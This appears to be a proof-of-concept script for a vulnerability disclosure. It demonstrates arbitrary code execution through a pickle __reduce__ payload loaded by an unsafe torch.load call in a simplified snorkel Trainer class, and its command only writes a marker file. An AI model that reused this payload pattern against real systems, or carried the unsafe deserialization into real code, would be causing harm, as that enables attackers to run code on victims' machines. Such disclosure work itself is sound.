Vulnerable code sample

import torch
import os

# Malicious payload class that executes an OS command upon deserialization.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # This special method tells Python's pickle module how to reconstruct the object.
        # We can instruct it to call any function, in this case, os.system().
        command = ('echo "VULNERABILITY DEMONSTRATED: Arbitrary code was executed" > exploited.txt')
        return (os.system, (command,))

# Simplified representation of the vulnerable snorkel.classification.Trainer class
# as it existed in versions up to and including v0.10.0.
class Trainer:
    def load(self, model_path: str):
        """
        Vulnerable load method.
        It uses torch.load() without the security-restrictive `weights_only=True`
        parameter, allowing the deserialization of arbitrary Python objects.
        """
        # THE VULNERABLE CALL:
        # torch.load uses Python's pickle module by default, which is insecure
        # when loading data from an untrusted source.
        print(f"[*] Loading model from '{model_path}' using vulnerable method...")
        deserialized_object = torch.load(model_path)
        print("[*] Deserialization complete. The payload would have executed by now.")
        # In a real application, the code would proceed to load model weights
        # from the 'deserialized_object', but the damage is already done.


# --- Attack Demonstration ---

# 1. An attacker creates a malicious model file containing the payload.
malicious_file_path = "malicious_model.pth"
attacker_payload = ArbitraryCodeExecutor()

print(f"[+] Attacker crafting malicious payload and saving to '{malicious_file_path}'...")
torch.save(attacker_payload, malicious_file_path)

# 2. A victim uses the vulnerable Trainer class to load the attacker's file.
victim_trainer = Trainer()
victim_trainer.load(malicious_file_path)

# 3. Check if the exploit was successful by looking for the created file.
if os.path.exists("exploited.txt"):
    print("\n[!!!] SUCCESS: The file 'exploited.txt' was created on the system.")
    with open("exploited.txt", "r") as f:
        print(f"File content: {f.read().strip()}")
    # Clean up created files
    os.remove("exploited.txt")
    os.remove(malicious_file_path)
else:
    print("\n[---] FAILURE: The exploit did not create the expected file.")